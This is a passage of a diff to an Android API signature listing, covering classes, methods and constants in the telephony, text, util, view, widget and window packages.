+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void refreshUiccProfile();
+    method @Deprecated public void setCarrierTestOverride(String, String, String, String, String, String, String);
+    method public void setCarrierTestOverride(String, String, String, String, String, String, String, String, String);
+    field public static final int UNKNOWN_CARRIER_ID_LIST_VERSION = -1; // 0xffffffff
+  }
+
+}
+
+package android.telephony.emergency {
+
+  public final class EmergencyNumber implements java.lang.Comparable<android.telephony.emergency.EmergencyNumber> android.os.Parcelable {
+    field public static final int EMERGENCY_NUMBER_SOURCE_TEST = 32; // 0x20
+  }
+
+}
+
+package android.telephony.ims {
+
+  public final class ImsCallProfile implements android.os.Parcelable {
+    field public static final String EXTRA_OEM_EXTRAS = "android.telephony.ims.extra.OEM_EXTRAS";
+  }
+
+}
+
+package android.telephony.ims.feature {
+
+  @Deprecated public static class ImsFeature.Capabilities {
+    field @Deprecated protected int mCapabilities;
+  }
+
+}
+
+package android.text {
+
+  public final class FontConfig implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.List<android.text.FontConfig.Alias> getAliases();
+    method @IntRange(from=0) public int getConfigVersion();
+    method @NonNull public java.util.List<android.text.FontConfig.FontFamily> getFontFamilies();
+    method public long getLastModifiedTimeMillis();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.text.FontConfig> CREATOR;
+  }
+
+  public static final class FontConfig.Alias implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public String getName();
+    method @NonNull public String getOriginal();
+    method @IntRange(from=0, to=1000) public int getWeight();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.text.FontConfig.Alias> CREATOR;
+  }
+
+  public static final class FontConfig.Font implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.io.File getFile();
+    method @Nullable public String getFontFamilyName();
+    method @NonNull public String getFontVariationSettings();
+    method @NonNull public String getPostScriptName();
+    method @NonNull public android.graphics.fonts.FontStyle getStyle();
+    method public int getTtcIndex();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.text.FontConfig.Font> CREATOR;
+  }
+
+  public static final class FontConfig.FontFamily implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.List<android.text.FontConfig.Font> getFontList();
+    method @NonNull public android.os.LocaleList getLocaleList();
+    method @Nullable public String getName();
+    method public int getVariant();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.text.FontConfig.FontFamily> CREATOR;
+    field public static final int VARIANT_COMPACT = 1; // 0x1
+    field public static final int VARIANT_DEFAULT = 0; // 0x0
+    field public static final int VARIANT_ELEGANT = 2; // 0x2
+  }
+
+  public static final class Selection.MemoryTextWatcher implements android.text.TextWatcher {
+    ctor public Selection.MemoryTextWatcher();
+    method public void afterTextChanged(android.text.Editable);
+    method public void beforeTextChanged(CharSequence, int, int, int);
+    method public void onTextChanged(CharSequence, int, int, int);
+  }
+
+}
+
+package android.transition {
+
+  public class TransitionManager {
+    method public android.transition.Transition getTransition(android.transition.Scene);
+  }
+
+}
+
+package android.util {
+
+  public final class ArraySet<E> implements java.util.Collection<E> java.util.Set<E> {
+    method public E valueAtUnchecked(int);
+  }
+
+  public class FeatureFlagUtils {
+    ctor public FeatureFlagUtils();
+    method public static java.util.Map<java.lang.String,java.lang.String> getAllFeatureFlags();
+    method public static boolean isEnabled(android.content.Context, String);
+    method public static void setEnabled(android.content.Context, String, boolean);
+    field public static final String FFLAG_OVERRIDE_PREFIX = "sys.fflag.override.";
+    field public static final String FFLAG_PREFIX = "sys.fflag.";
+    field public static final String HEARING_AID_SETTINGS = "settings_bluetooth_hearing_aid";
+    field public static final String PERSIST_PREFIX = "persist.sys.fflag.override.";
+    field public static final String SETTINGS_WIFITRACKER2 = "settings_wifitracker2";
+  }
+
+  public class SparseArrayMap<K, V> {
+    ctor public SparseArrayMap();
+    method public void add(int, @NonNull K, @Nullable V);
+    method public void clear();
+    method public boolean contains(int, @NonNull K);
+    method public void delete(int);
+    method @Nullable public V delete(int, @NonNull K);
+    method public void forEach(@NonNull java.util.function.Consumer<V>);
+    method @Nullable public V get(int, @NonNull K);
+    method @Nullable public V getOrDefault(int, @NonNull K, V);
+    method public int indexOfKey(int);
+    method public int indexOfKey(int, @NonNull K);
+    method public int keyAt(int);
+    method @NonNull public K keyAt(int, int);
+    method public int numElementsForKey(int);
+    method public int numMaps();
+    method @Nullable public V valueAt(int, int);
+  }
+
+  public class TimeUtils {
+    method public static String formatDuration(long);
+  }
+
+}
+
+package android.util.proto {
+
+  public final class EncodedBuffer {
+    ctor public EncodedBuffer();
+    ctor public EncodedBuffer(int);
+    method public void dumpBuffers(String);
+    method public static void dumpByteString(String, String, byte[]);
+    method public void editRawFixed32(int, int);
+    method public byte[] getBytes(int);
+    method public int getChunkCount();
+    method public String getDebugString();
+    method public int getRawFixed32At(int);
+    method public static int getRawVarint32Size(int);
+    method public static int getRawVarint64Size(long);
+    method public static int getRawZigZag32Size(int);
+    method public static int getRawZigZag64Size(long);
+    method public int getReadPos();
+    method public int getReadableSize();
+    method public int getSize();
+    method public int getWriteBufIndex();
+    method public int getWriteIndex();
+    method public int getWritePos();
+    method public byte readRawByte();
+    method public int readRawFixed32();
+    method public long readRawUnsigned();
+    method public void rewindRead();
+    method public void rewindWriteTo(int);
+    method public void skipRead(int);
+    method public void startEditing();
+    method public void writeFromThisBuffer(int, int);
+    method public void writeRawBuffer(byte[]);
+    method public void writeRawBuffer(byte[], int, int);
+    method public void writeRawByte(byte);
+    method public void writeRawFixed32(int);
+    method public void writeRawFixed64(long);
+    method public void writeRawVarint32(int);
+    method public void writeRawVarint64(long);
+    method public void writeRawZigZag32(int);
+    method public void writeRawZigZag64(long);
+  }
+
+  public class ProtoParseException extends java.lang.RuntimeException {
+    ctor public ProtoParseException(String);
+  }
+
+  public class WireTypeMismatchException extends android.util.proto.ProtoParseException {
+    ctor public WireTypeMismatchException(String);
+  }
+
+}
+
+package android.view {
+
+  public abstract class ActionMode {
+    method public boolean isUiFocusable();
+  }
+
+  public final class Choreographer {
+    method public static long getFrameDelay();
+    method public void postCallback(int, Runnable, Object);
+    method public void postCallbackDelayed(int, Runnable, Object, long);
+    method public void removeCallbacks(int, Runnable, Object);
+    method public static void setFrameDelay(long);
+    field public static final int CALLBACK_ANIMATION = 1; // 0x1
+  }
+
+  public final class ContentInfo implements android.os.Parcelable {
+    method @NonNull public android.util.Pair<android.view.ContentInfo,android.view.ContentInfo> partition(@NonNull java.util.function.Predicate<android.content.ClipData.Item>);
+    method public void releasePermissions();
+  }
+
+  public static final class ContentInfo.Builder {
+    method @NonNull public android.view.ContentInfo.Builder setDragAndDropPermissions(@Nullable android.view.DragAndDropPermissions);
+    method @NonNull public android.view.ContentInfo.Builder setInputContentInfo(@Nullable android.view.inputmethod.InputContentInfo);
+  }
+
+  public final class Display {
+    method @NonNull public int[] getReportedHdrTypes();
+    method @NonNull public android.graphics.ColorSpace[] getSupportedWideColorGamut();
+    method public int getType();
+    method public boolean hasAccess(int);
+    field public static final int FLAG_TRUSTED = 128; // 0x80
+    field public static final int TYPE_EXTERNAL = 2; // 0x2
+    field public static final int TYPE_INTERNAL = 1; // 0x1
+    field public static final int TYPE_OVERLAY = 4; // 0x4
+    field public static final int TYPE_UNKNOWN = 0; // 0x0
+    field public static final int TYPE_VIRTUAL = 5; // 0x5
+    field public static final int TYPE_WIFI = 3; // 0x3
+  }
+
+  public class FocusFinder {
+    method public static void sort(android.view.View[], int, int, android.view.ViewGroup, boolean);
+  }
+
+  public final class InputDevice implements android.os.Parcelable {
+    method @RequiresPermission("android.permission.DISABLE_INPUT_DEVICE") public void disable();
+    method @RequiresPermission("android.permission.DISABLE_INPUT_DEVICE") public void enable();
+  }
+
+  public class KeyEvent extends android.view.InputEvent implements android.os.Parcelable {
+    method public static String actionToString(int);
+    method public final void setDisplayId(int);
+    field public static final int FLAG_IS_ACCESSIBILITY_EVENT = 2048; // 0x800
+    field public static final int LAST_KEYCODE = 288; // 0x120
+  }
+
+  public final class KeyboardShortcutGroup implements android.os.Parcelable {
+    ctor public KeyboardShortcutGroup(@Nullable CharSequence, @NonNull java.util.List<android.view.KeyboardShortcutInfo>, boolean);
+    ctor public KeyboardShortcutGroup(@Nullable CharSequence, boolean);
+    method public boolean isSystemGroup();
+  }
+
+  public abstract class LayoutInflater {
+    method public void setPrecompiledLayoutsEnabledForTesting(boolean);
+  }
+
+  public final class MotionEvent extends android.view.InputEvent implements android.os.Parcelable {
+    method public void setActionButton(int);
+    method public void setButtonState(int);
+    method public void setDisplayId(int);
+    field public static final int FLAG_IS_ACCESSIBILITY_EVENT = 2048; // 0x800
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.RUNTIME) @java.lang.annotation.Target({java.lang.annotation.ElementType.METHOD}) public @interface RemotableViewMethod {
+    method public abstract String asyncImpl() default "";
+  }
+
+  public final class SurfaceControl implements android.os.Parcelable {
+    ctor public SurfaceControl(@NonNull android.view.SurfaceControl, @NonNull String);
+    method public static long acquireFrameRateFlexibilityToken();
+    method @NonNull public static android.os.IBinder getInternalDisplayToken();
+    method public boolean isSameSurface(@NonNull android.view.SurfaceControl);
+    method public static void overrideHdrTypes(@NonNull android.os.IBinder, @NonNull int[]);
+    method public static void releaseFrameRateFlexibilityToken(long);
+  }
+
+  public class SurfaceControlViewHost {
+    method public void relayout(android.view.WindowManager.LayoutParams);
+    method public void setView(@NonNull android.view.View, @NonNull android.view.WindowManager.LayoutParams);
+  }
+
+  @UiThread public class View implements android.view.accessibility.AccessibilityEventSource android.graphics.drawable.Drawable.Callback android.view.KeyEvent.Callback {
+    method public android.view.View getTooltipView();
+    method public boolean isAutofilled();
+    method public static boolean isDefaultFocusHighlightEnabled();
+    method public boolean isDefaultFocusHighlightNeeded(android.graphics.drawable.Drawable, android.graphics.drawable.Drawable);
+    method protected void resetResolvedDrawables();
+    method public void resetResolvedLayoutDirection();
+    method public void resetResolvedPadding();
+    method public void resetResolvedTextAlignment();
+    method public void resetResolvedTextDirection();
+    method public void resetRtlProperties();
+    method public boolean restoreFocusInCluster(int);
+    method public boolean restoreFocusNotInCluster();
+    method public void setAutofilled(boolean, boolean);
+    method public final void setFocusedInCluster();
+    method public void setIsRootNamespace(boolean);
+    method public final void setShowingLayoutBounds(boolean);
+  }
+
+  public class ViewConfiguration {
+    method public long getDeviceGlobalActionKeyTimeout();
+    method public static int getHoverTooltipHideShortTimeout();
+    method public static int getHoverTooltipHideTimeout();
+    method public static int getHoverTooltipShowTimeout();
+    method public static int getLongPressTooltipHideTimeout();
+  }
+
+  public class ViewDebug {
+    method @Deprecated @Nullable public static AutoCloseable startRenderingCommandsCapture(android.view.View, java.util.concurrent.Executor, java.util.function.Function<android.graphics.Picture,java.lang.Boolean>);
+    method @Nullable public static AutoCloseable startRenderingCommandsCapture(android.view.View, java.util.concurrent.Executor, java.util.concurrent.Callable<java.io.OutputStream>);
+  }
+
+  public abstract class Window {
+    method @Nullable public android.view.View getNavigationBarBackgroundView();
+    method @Nullable public android.view.View getStatusBarBackgroundView();
+  }
+
+  public interface WindowManager extends android.view.ViewManager {
+    method public default int getDisplayImePolicy(int);
+    method public default void holdLock(android.os.IBinder, int);
+    method public default boolean isTaskSnapshotSupported();
+    method public default void setDisplayImePolicy(int, int);
+    method public default void setShouldShowSystemDecors(int, boolean);
+    method public default void setShouldShowWithInsecureKeyguard(int, boolean);
+    method public default boolean shouldShowSystemDecors(int);
+    field public static final int DISPLAY_IME_POLICY_FALLBACK_DISPLAY = 1; // 0x1
+    field public static final int DISPLAY_IME_POLICY_HIDE = 2; // 0x2
+    field public static final int DISPLAY_IME_POLICY_LOCAL = 0; // 0x0
+  }
+
+  public static class WindowManager.LayoutParams extends android.view.ViewGroup.LayoutParams implements android.os.Parcelable {
+    method @Nullable public final android.os.IBinder getWindowContextToken();
+    method public final void setWindowContextToken(@NonNull android.os.IBinder);
+    field public static final int ACCESSIBILITY_TITLE_CHANGED = 33554432; // 0x2000000
+    field public static final int PRIVATE_FLAG_NO_MOVE_ANIMATION = 64; // 0x40
+    field public CharSequence accessibilityTitle;
+    field public int privateFlags;
+  }
+
+}
+
+package android.view.accessibility {
+
+  public final class AccessibilityManager {
+    method public void addAccessibilityServicesStateChangeListener(@NonNull android.view.accessibility.AccessibilityManager.AccessibilityServicesStateChangeListener, @Nullable android.os.Handler);
+    method @NonNull @RequiresPermission(android.Manifest.permission.MANAGE_ACCESSIBILITY) public java.util.List<java.lang.String> getAccessibilityShortcutTargets(int);
+    method public void removeAccessibilityServicesStateChangeListener(@NonNull android.view.accessibility.AccessibilityManager.AccessibilityServicesStateChangeListener);
+  }
+
+  public static interface AccessibilityManager.AccessibilityServicesStateChangeListener {
+    method public void onAccessibilityServicesStateChanged(android.view.accessibility.AccessibilityManager);
+  }
+
+  public class AccessibilityNodeInfo implements android.os.Parcelable {
+    method public void addChild(@NonNull android.os.IBinder);
+    method public long getSourceNodeId();
+    method public void setLeashedParent(@Nullable android.os.IBinder, int);
+    method public static void setNumInstancesInUseCounter(java.util.concurrent.atomic.AtomicInteger);
+    method public void writeToParcelNoRecycle(android.os.Parcel, int);
+  }
+
+  public static final class AccessibilityNodeInfo.TouchDelegateInfo implements android.os.Parcelable {
+    method public long getAccessibilityIdForRegion(@NonNull android.graphics.Region);
+  }
+
+  public final class AccessibilityWindowInfo implements android.os.Parcelable {
+    method public static void setNumInstancesInUseCounter(java.util.concurrent.atomic.AtomicInteger);
+  }
+
+}
+
+package android.view.animation {
+
+  public class AnimationUtils {
+    method public static void lockAnimationClock(long);
+    method public static void unlockAnimationClock();
+  }
+
+}
+
+package android.view.autofill {
+
+  public final class AutofillId implements android.os.Parcelable {
+    ctor public AutofillId(int);
+    ctor public AutofillId(@NonNull android.view.autofill.AutofillId, int);
+    ctor public AutofillId(int, int);
+    ctor public AutofillId(@NonNull android.view.autofill.AutofillId, long, int);
+    method public boolean equalsIgnoreSession(@Nullable android.view.autofill.AutofillId);
+    method public boolean isNonVirtual();
+    method @NonNull public static android.view.autofill.AutofillId withoutSession(@NonNull android.view.autofill.AutofillId);
+  }
+
+  public final class AutofillManager {
+    field public static final String DEVICE_CONFIG_AUTOFILL_SMART_SUGGESTION_SUPPORTED_MODES = "smart_suggestion_supported_modes";
+    field public static final int FLAG_SMART_SUGGESTION_OFF = 0; // 0x0
+    field public static final int FLAG_SMART_SUGGESTION_SYSTEM = 1; // 0x1
+    field public static final int MAX_TEMP_AUGMENTED_SERVICE_DURATION_MS = 120000; // 0x1d4c0
+  }
+
+}
+
+package android.view.contentcapture {
+
+  public final class ContentCaptureManager {
+    method @RequiresPermission(android.Manifest.permission.MANAGE_CONTENT_CAPTURE) public static void resetTemporaryService(int);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_CONTENT_CAPTURE) public static void setDefaultServiceEnabled(int, boolean);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_CONTENT_CAPTURE) public static void setTemporaryService(int, @NonNull String, int);
+    field public static final String DEVICE_CONFIG_PROPERTY_IDLE_FLUSH_FREQUENCY = "idle_flush_frequency";
+    field public static final String DEVICE_CONFIG_PROPERTY_LOGGING_LEVEL = "logging_level";
+    field public static final String DEVICE_CONFIG_PROPERTY_LOG_HISTORY_SIZE = "log_history_size";
+    field public static final String DEVICE_CONFIG_PROPERTY_MAX_BUFFER_SIZE = "max_buffer_size";
+    field public static final String DEVICE_CONFIG_PROPERTY_SERVICE_EXPLICITLY_ENABLED = "service_explicitly_enabled";
+    field public static final String DEVICE_CONFIG_PROPERTY_TEXT_CHANGE_FLUSH_FREQUENCY = "text_change_flush_frequency";
+    field public static final int LOGGING_LEVEL_DEBUG = 1; // 0x1
+    field public static final int LOGGING_LEVEL_OFF = 0; // 0x0
+    field public static final int LOGGING_LEVEL_VERBOSE = 2; // 0x2
+  }
+
+  public final class ViewNode extends android.app.assist.AssistStructure.ViewNode {
+    method @Nullable public static android.view.contentcapture.ViewNode readFromParcel(@NonNull android.os.Parcel);
+    method public static void writeToParcel(@NonNull android.os.Parcel, @Nullable android.view.contentcapture.ViewNode, int);
+  }
+
+  public static final class ViewNode.ViewStructureImpl extends android.view.ViewStructure {
+    ctor public ViewNode.ViewStructureImpl(@NonNull android.view.View);
+    ctor public ViewNode.ViewStructureImpl(@NonNull android.view.autofill.AutofillId, long, int);
+    method public int addChildCount(int);
+    method public void asyncCommit();
+    method public android.view.ViewStructure asyncNewChild(int);
+    method public android.view.autofill.AutofillId getAutofillId();
+    method public int getChildCount();
+    method public android.os.Bundle getExtras();
+    method public CharSequence getHint();
+    method public android.view.contentcapture.ViewNode getNode();
+    method public android.graphics.Rect getTempRect();
+    method public CharSequence getText();
+    method public int getTextSelectionEnd();
+    method public int getTextSelectionStart();
+    method public boolean hasExtras();
+    method public android.view.ViewStructure newChild(int);
+    method public android.view.ViewStructure.HtmlInfo.Builder newHtmlInfoBuilder(String);
+    method public void setAccessibilityFocused(boolean);
+    method public void setActivated(boolean);
+    method public void setAlpha(float);
+    method public void setAssistBlocked(boolean);
+    method public void setAutofillHints(String[]);
+    method public void setAutofillId(android.view.autofill.AutofillId);
+    method public void setAutofillId(android.view.autofill.AutofillId, int);
+    method public void setAutofillOptions(CharSequence[]);
+    method public void setAutofillType(int);
+    method public void setAutofillValue(android.view.autofill.AutofillValue);
+    method public void setCheckable(boolean);
+    method public void setChecked(boolean);
+    method public void setChildCount(int);
+    method public void setClassName(String);
+    method public void setClickable(boolean);
+    method public void setContentDescription(CharSequence);
+    method public void setContextClickable(boolean);
+    method public void setDataIsSensitive(boolean);
+    method public void setDimens(int, int, int, int, int, int);
+    method public void setElevation(float);
+    method public void setEnabled(boolean);
+    method public void setFocusable(boolean);
+    method public void setFocused(boolean);
+    method public void setHint(CharSequence);
+    method public void setHtmlInfo(android.view.ViewStructure.HtmlInfo);
+    method public void setId(int, String, String, String);
+    method public void setInputType(int);
+    method public void setLocaleList(android.os.LocaleList);
+    method public void setLongClickable(boolean);
+    method public void setOpaque(boolean);
+    method public void setSelected(boolean);
+    method public void setText(CharSequence);
+    method public void setText(CharSequence, int, int);
+    method public void setTextLines(int[], int[]);
+    method public void setTextStyle(float, int, int, int);
+    method public void setTransformation(android.graphics.Matrix);
+    method public void setVisibility(int);
+    method public void setWebDomain(String);
+  }
+
+}
+
+package android.view.displayhash {
+
+  public final class DisplayHashManager {
+    method @RequiresPermission("android.permission.READ_FRAME_BUFFER") public void setDisplayHashThrottlingEnabled(boolean);
+  }
+
+}
+
+package android.view.inputmethod {
+
+  public final class InlineSuggestion implements android.os.Parcelable {
+    method @NonNull public static android.view.inputmethod.InlineSuggestion newInlineSuggestion(@NonNull android.view.inputmethod.InlineSuggestionInfo);
+  }
+
+  public final class InlineSuggestionInfo implements android.os.Parcelable {
+    method @NonNull public static android.view.inputmethod.InlineSuggestionInfo newInlineSuggestionInfo(@NonNull android.widget.inline.InlinePresentationSpec, @NonNull String, @Nullable String[], @NonNull String, boolean);
+  }
+
+  public final class InlineSuggestionsResponse implements android.os.Parcelable {
+    method @NonNull public static android.view.inputmethod.InlineSuggestionsResponse newInlineSuggestionsResponse(@NonNull java.util.List<android.view.inputmethod.InlineSuggestion>);
+  }
+
+  public final class InputMethodInfo implements android.os.Parcelable {
+    ctor public InputMethodInfo(@NonNull String, @NonNull String, @NonNull CharSequence, @NonNull String, int);
+  }
+
+  public final class InputMethodManager {
+    method public int getDisplayId();
+    method @NonNull @RequiresPermission(android.Manifest.permission.INTERACT_ACROSS_USERS_FULL) public java.util.List<android.view.inputmethod.InputMethodInfo> getInputMethodListAsUser(int);
+    method public boolean hasActiveInputConnection(@Nullable android.view.View);
+    method public boolean isInputMethodPickerShown();
+  }
+
+}
+
+package android.view.inspector {
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.SOURCE) @java.lang.annotation.Target({java.lang.annotation.ElementType.METHOD, java.lang.annotation.ElementType.FIELD}) public @interface InspectableProperty {
+    method public abstract int attributeId() default android.content.res.Resources.ID_NULL;
+    method public abstract android.view.inspector.InspectableProperty.EnumEntry[] enumMapping() default {};
+    method public abstract android.view.inspector.InspectableProperty.FlagEntry[] flagMapping() default {};
+    method public abstract boolean hasAttributeId() default true;
+    method public abstract String name() default "";
+    method public abstract android.view.inspector.InspectableProperty.ValueType valueType() default android.view.inspector.InspectableProperty.ValueType.INFERRED;
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.SOURCE) @java.lang.annotation.Target({java.lang.annotation.ElementType.TYPE}) public static @interface InspectableProperty.EnumEntry {
+    method public abstract String name();
+    method public abstract int value();
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.SOURCE) @java.lang.annotation.Target({java.lang.annotation.ElementType.TYPE}) public static @interface InspectableProperty.FlagEntry {
+    method public abstract int mask() default 0;
+    method public abstract String name();
+    method public abstract int target();
+  }
+
+  public enum InspectableProperty.ValueType {
+    enum_constant public static final android.view.inspector.InspectableProperty.ValueType COLOR;
+    enum_constant public static final android.view.inspector.InspectableProperty.ValueType GRAVITY;
+    enum_constant public static final android.view.inspector.InspectableProperty.ValueType INFERRED;
+    enum_constant public static final android.view.inspector.InspectableProperty.ValueType INT_ENUM;
+    enum_constant public static final android.view.inspector.InspectableProperty.ValueType INT_FLAG;
+    enum_constant public static final android.view.inspector.InspectableProperty.ValueType NONE;
+    enum_constant public static final android.view.inspector.InspectableProperty.ValueType RESOURCE_ID;
+  }
+
+}
+
+package android.view.textservice {
+
+  public final class SpellCheckerSubtype implements android.os.Parcelable {
+    field public static final int SUBTYPE_ID_NONE = 0; // 0x0
+  }
+
+}
+
+package android.widget {
+
+  public abstract class AbsListView extends android.widget.AdapterView<android.widget.ListAdapter> implements android.widget.Filter.FilterListener android.text.TextWatcher android.view.ViewTreeObserver.OnGlobalLayoutListener android.view.ViewTreeObserver.OnTouchModeChangeListener {
+    method public final boolean shouldDrawSelector();
+  }
+
+  public class CalendarView extends android.widget.FrameLayout {
+    method public boolean getBoundsForDate(long, android.graphics.Rect);
+  }
+
+  public class DatePicker extends android.widget.FrameLayout {
+    method @android.view.inspector.InspectableProperty(name="datePickerMode", enumMapping={@android.view.inspector.InspectableProperty.EnumEntry(value=android.widget.DatePicker.MODE_SPINNER, name="spinner"), @android.view.inspector.InspectableProperty.EnumEntry(value=android.widget.DatePicker.MODE_CALENDAR, name="calendar")}) public int getMode();
+    field public static final int MODE_CALENDAR = 2; // 0x2
+    field public static final int MODE_SPINNER = 1; // 0x1
+  }
+
+  @UiThread public final class Magnifier {
+    method @Nullable public android.graphics.Bitmap getContent();
+    method public static android.graphics.PointF getMagnifierDefaultSize();
+    method @Nullable public android.graphics.Bitmap getOriginalContent();
+    method public void setOnOperationCompleteCallback(android.widget.Magnifier.Callback);
+  }
+
+  public static interface Magnifier.Callback {
+    method public void onOperationComplete();
+  }
+
+  public class NumberPicker extends android.widget.LinearLayout {
+    method public CharSequence getDisplayedValueForCurrentSelection();
+  }
+
+  public class PopupMenu {
+    method public android.widget.ListView getMenuListView();
+  }
+
+  public class Spinner extends android.widget.AbsSpinner implements android.content.DialogInterface.OnClickListener {
+    method public boolean isPopupShowing();
+  }
+
+  @android.widget.RemoteViews.RemoteView public class TextClock extends android.widget.TextView {
+    method public void disableClockTick();
+  }
+
+  @android.widget.RemoteViews.RemoteView public class TextView extends android.view.View implements android.view.ViewTreeObserver.OnPreDrawListener {
+    method public void onActivityResult(int, int, @Nullable android.content.Intent);
+    field public static final int PROCESS_TEXT_REQUEST_CODE = 100; // 0x64
+  }
+
+  public class TimePicker extends android.widget.FrameLayout {
+    method public android.view.View getAmView();
+    method public android.view.View getHourView();
+    method public android.view.View getMinuteView();
+    method @android.view.inspector.InspectableProperty(name="timePickerMode", enumMapping={@android.view.inspector.InspectableProperty.EnumEntry(name="clock", value=android.widget.TimePicker.MODE_CLOCK), @android.view.inspector.InspectableProperty.EnumEntry(name="spinner", value=android.widget.TimePicker.MODE_SPINNER)}) public int getMode();
+    method public android.view.View getPmView();
+    field public static final int MODE_CLOCK = 2; // 0x2
+    field public static final int MODE_SPINNER = 1; // 0x1
+  }
+
+  public class Toolbar extends android.view.ViewGroup {
+    method @Nullable public android.view.View getNavigationView();
+  }
+
+}
+
+package android.widget.inline {
+
+  public class InlineContentView extends android.view.ViewGroup {
+    method public void setChildSurfacePackageUpdater(@Nullable android.widget.inline.InlineContentView.SurfacePackageUpdater);
+  }
+
+  public static interface InlineContentView.SurfacePackageUpdater {
+    method public void getSurfacePackage(@NonNull java.util.function.Consumer<android.view.SurfaceControlViewHost.SurfacePackage>);
+    method public void onSurfacePackageReleased();
+  }
+
+}
+
+package android.window {
+
+  public final class DisplayAreaAppearedInfo implements android.os.Parcelable {
+    ctor public DisplayAreaAppearedInfo(@NonNull android.window.DisplayAreaInfo, @NonNull android.view.SurfaceControl);
+    method public int describeContents();
+    method @NonNull public android.window.DisplayAreaInfo getDisplayAreaInfo();
+    method @NonNull public android.view.SurfaceControl getLeash();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.window.DisplayAreaAppearedInfo> CREATOR;
+  }
+
+  public final class DisplayAreaInfo implements android.os.Parcelable {
+    ctor public DisplayAreaInfo(@NonNull android.window.WindowContainerToken, int, int);
+    method public int describeContents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.window.DisplayAreaInfo> CREATOR;
+    field @NonNull public final android.content.res.Configuration configuration;
+    field public final int displayId;
+    field public final int featureId;
+    field @NonNull public final android.window.WindowContainerToken token;
+  }
+
+  public class DisplayAreaOrganizer extends android.window.WindowOrganizer {
+    method public void onDisplayAreaAppeared(@NonNull android.window.DisplayAreaInfo, @NonNull android.view.SurfaceControl);
+    method public void onDisplayAreaVanished(@NonNull android.window.DisplayAreaInfo);
+    method @CallSuper @NonNull @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public java.util.List<android.window.DisplayAreaAppearedInfo> registerOrganizer(int);
+    field public static final int FEATURE_DEFAULT_TASK_CONTAINER = 1; // 0x1
+    field public static final int FEATURE_ONE_HANDED = 3; // 0x3
+    field public static final int FEATURE_ROOT = 0; // 0x0
+    field public static final int FEATURE_SYSTEM_FIRST = 0; // 0x0
+    field public static final int FEATURE_SYSTEM_LAST = 10000; // 0x2710
+    field public static final int FEATURE_UNDEFINED = -1; // 0xffffffff
+    field public static final int FEATURE_VENDOR_FIRST = 10001; // 0x2711
+    field public static final int FEATURE_WINDOWED_MAGNIFICATION = 4; // 0x4
+    field public static final int FEATURE_WINDOW_TOKENS = 2; // 0x2
+  }
+
+  public final class SplashScreenView extends android.widget.FrameLayout {
+    method @Nullable public android.view.View getBrandingView();
+    method @ColorInt public int getIconBackgroundColor();
+  }
+
+  public final class StartingWindowInfo implements android.os.Parcelable {
+    ctor public StartingWindowInfo();
+    method public int describeContents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.window.StartingWindowInfo> CREATOR;
+  }
+
+  public final class TaskAppearedInfo implements android.os.Parcelable {
+    ctor public TaskAppearedInfo(@NonNull android.app.ActivityManager.RunningTaskInfo, @NonNull android.view.SurfaceControl);
+    method public int describeContents();
+    method @NonNull public android.view.SurfaceControl getLeash();
+    method @NonNull public android.app.ActivityManager.RunningTaskInfo getTaskInfo();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.window.TaskAppearedInfo> CREATOR;
+  }
+
+  public class TaskOrganizer extends android.window.WindowOrganizer {
+    ctor public TaskOrganizer();
+    method @BinderThread public void addStartingWindow(@NonNull android.window.StartingWindowInfo, @NonNull android.os.IBinder);
+    method @BinderThread public void copySplashScreenView(int);
+    method @Nullable @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void createRootTask(int, int, @Nullable android.os.IBinder);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public boolean deleteRootTask(@NonNull android.window.WindowContainerToken);
+    method @Nullable @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public java.util.List<android.app.ActivityManager.RunningTaskInfo> getChildTasks(@NonNull android.window.WindowContainerToken, @NonNull int[]);
+    method @Nullable @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public android.window.WindowContainerToken getImeTarget(int);
+    method @Nullable @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public java.util.List<android.app.ActivityManager.RunningTaskInfo> getRootTasks(int, @NonNull int[]);
+    method @BinderThread public void onAppSplashScreenViewRemoved(int);
+    method @BinderThread public void onBackPressedOnTaskRoot(@NonNull android.app.ActivityManager.RunningTaskInfo);
+    method @BinderThread public void onTaskAppeared(@NonNull android.app.ActivityManager.RunningTaskInfo, @NonNull android.view.SurfaceControl);
+    method @BinderThread public void onTaskInfoChanged(@NonNull android.app.ActivityManager.RunningTaskInfo);
+    method @BinderThread public void onTaskVanished(@NonNull android.app.ActivityManager.RunningTaskInfo);
+    method @CallSuper @NonNull @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public java.util.List<android.window.TaskAppearedInfo> registerOrganizer();
+    method @BinderThread public void removeStartingWindow(int, @Nullable android.view.SurfaceControl, @Nullable android.graphics.Rect, boolean);
